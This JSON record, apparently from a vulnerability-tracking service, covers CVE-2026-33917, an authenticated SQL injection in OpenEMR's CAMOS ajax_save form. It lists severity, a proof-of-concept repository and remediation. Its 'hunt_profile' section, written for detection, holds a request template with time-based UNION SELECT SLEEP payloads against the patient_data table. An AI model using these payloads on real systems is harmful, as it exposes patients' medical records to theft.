{
  "id": "CVE-2026-33917",
  "url": "https://poc.griffinguard.io/cve/CVE-2026-33917",
  "published_at": "2026-03-25T23:31:20.557Z",
  "title": "OpenEMR has SQL Injection in CAMOS Form",
  "vendor": "openemr",
  "product": "openemr",
  "cvss": {
    "score": 8.8,
    "source": "cna",
    "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  },
  "kev": {
    "in_kev": false,
    "added_at": null,
    "days_after_publication": null
  },
  "first_poc": {
    "created_at": "2026-02-25T18:47:15Z",
    "first_seen_at": "2026-11-14T11:25:11.578Z",
    "days_after_publication": -28.2,
    "repo": "ChrisSub08/CVE-2026-33917_SqlInjectionVulnerabilityOpenEMR8.0.0",
    "source": "github"
  },
  "poc_repo_count": 1,
  "exploit_count": 0,
  "suspicious_repo_count": 0,
  "edge_device": null,
  "description": "OpenEMR is a free and open source electronic health records and medical practice management application. Versions prior to 8.0.0.3 contais a SQL injection vulnerability in the ajax_save CAMOS form that can be exploited by authenticated attackers. The vulnerability exists due to insufficient input validation in the ajax_save page in the CAMOS form. Version 8.0.0.3 patches the issue.",
  "cwe": "CWE-89",
  "cpes": [
    "cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*"
  ],
  "cvss_by_source": {
    "cna": 8.8
  },
  "repos": [
    {
      "repo": "ChrisSub08/CVE-2026-33917_SqlInjectionVulnerabilityOpenEMR8.0.0",
      "url": "https://github.com/ChrisSub08/CVE-2026-33917_SqlInjectionVulnerabilityOpenEMR8.0.0",
      "created_at": "2026-02-25T18:47:15Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 15,
      "suspicious": false,
      "suspicion_reasons": [
        "owner account created less than 30 days before the repo"
      ],
      "status": "analyzed",
      "owner_created_at": "2026-02-03T13:58:13Z"
    }
  ],
  "remediation": {
    "affected": [
      {
        "vendor": "openemr",
        "product": "openemr",
        "ranges": [
          "\u003c 8.0.0.3"
        ],
        "fixed_in": [
          "8.0.0.3"
        ]
      }
    ],
    "upgrade": [
      "Upgrade openemr to 8.0.0.3 or later."
    ],
    "references": [
      {
        "kind": "Vendor advisory",
        "url": "https://github.com/openemr/openemr/security/advisories/GHSA-r6xq-mfwf-wgq8"
      },
      {
        "kind": "Patch",
        "url": "https://github.com/openemr/openemr/commit/4d48821d18e4125508d8217c43b09233c7f7e17f"
      },
      {
        "kind": "Release notes",
        "url": "https://github.com/openemr/openemr/releases/tag/v8_0_0_3"
      }
    ]
  },
  "exploit_refs": [],
  "hunt_profile": [
    {
      "method": "POST",
      "path_template": "/interface/forms/CAMOS/ajax_save.php",
      "headers": [
        {
          "name": "Cookie",
          "value": "OpenEMR=f8cee855217b5740619ad53f0879da5b"
        },
        {
          "name": "Cookie",
          "value": "OpenEMR=372430245364b5ee0c46d7d24b5814f6"
        }
      ],
      "body_markers": [
        "csrf_token_form=a7db83759f5b68d1a9c0bb3562c14cbafb6d8f07",
        "category=",
        "subcategory=",
        "item=",
        "content=/*date_add::injection\"payload*/",
        "csrf_token_form=37fd2f55723113916cfd4ac17ab1fe7d41a5872a",
        "content=/*date_add::7 DAY), CHAR(37,87,44,32,37,109,45,37,100,45,37,89)) AS date, SLEEP(5)  FROM patient_data UNION SELECT SLEEP(1), DATE_FORMAT(DATE_ADD(date, INTERVAL 7*/",
        "content=/*date_add::7 DAY), CHAR(37,87,44,32,37,109,45,37,100,45,37,89)) AS date, SLEEP(5)  FROM patient_data WHERE 1=0 UNION SELECT SLEEP(1), DATE_FORMAT(DATE_ADD(date, INTERVAL 7*/",
        "content=/*date_add::7 DAY), CHAR(37,87,44,32,37,109,45,37,100,45,37,89)) AS date, SLEEP(5)  FROM patient_data WHERE 1=1 UNION SELECT SLEEP(1), DATE_FORMAT(DATE_ADD(date, INTERVAL 7*/"
      ],
      "content_type": "application/x-www-form-urlencoded",
      "protocol": "http",
      "repos": [
        "ChrisSub08/CVE-2026-33917_SqlInjectionVulnerabilityOpenEMR8.0.0"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "ChrisSub08/CVE-2026-33917_SqlInjectionVulnerabilityOpenEMR8.0.0/README.md:86",
        "ChrisSub08/CVE-2026-33917_SqlInjectionVulnerabilityOpenEMR8.0.0/README.md:91",
        "ChrisSub08/CVE-2026-33917_SqlInjectionVulnerabilityOpenEMR8.0.0/README.md:110",
        "ChrisSub08/CVE-2026-33917_SqlInjectionVulnerabilityOpenEMR8.0.0/README.md:114"
      ]
    }
  ],
  "rules": []
}
